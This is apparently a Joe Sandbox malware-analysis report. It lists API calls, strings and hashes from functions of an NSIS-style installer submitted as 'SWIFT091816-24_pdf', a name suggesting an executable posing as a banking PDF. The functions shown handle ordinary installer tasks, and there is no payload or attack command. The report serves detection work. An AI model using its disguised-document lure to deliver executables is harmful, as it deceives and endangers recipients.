Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$N$open
API String ID: 3615053054-1057335957
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 0040389E Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420,00441800,00000000,0043F000), ref: 0040391F
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420), ref: 0040399F
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(00432EA0), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

.DEFAULT\Control Panel\International, xrefs: 0040390A
_Nb, xrefs: 00403A22, 00403A8A
RichEd20, xrefs: 00403ACC
.exe, xrefs: 004039AC
RichEdit, xrefs: 00403AF9
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
RichEdit20W, xrefs: 00403AEA, 00403AF0
RichEd32, xrefs: 00403ADA

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,?,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

NUL, xrefs: 00405D8D
%ls=%ls, xrefs: 00405DF1
[Rename], xrefs: 00405E65, 00405E77

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004045B4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,00432EA0), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00402DEE Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

Null, xrefs: 00402EE5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Inst, xrefs: 00402ED3
Error launching installer, xrefs: 00402E3E
soft, xrefs: 00402EDC
(*B, xrefs: 00402E7C

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: (*B$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2478819026
Opcode ID: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00406077 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

... %d%%, xrefs: 0040316E
jA, xrefs: 004030E7
jA, xrefs: 004031F1

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,?,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,?,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402870 Relevance: 9.1, APIs: 6, Instructions: 72memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GlobalAlloc.KERNEL32(?,?), ref: 00402894
CloseHandle.KERNEL32(?), ref: 00402914

Part of subcall function 00403258: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC

Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403091
Part of subcall function 00403027: GetTickCount.KERNEL32 ref: 00403138
Part of subcall function 00403027: MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
Part of subcall function 00403027: wsprintfW.USER32 ref: 00403174

DeleteFileW.KERNEL32(?), ref: 00402928

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FileGlobal$AllocCountFreeTick$AttributesCloseCreateDeleteHandlePointerwsprintf
String ID:
API String ID: 2082585436-0
Opcode ID: f09a1f9abd4752cb5b2d55da90d863fde1dab2faf049735581e37d10801ea25f
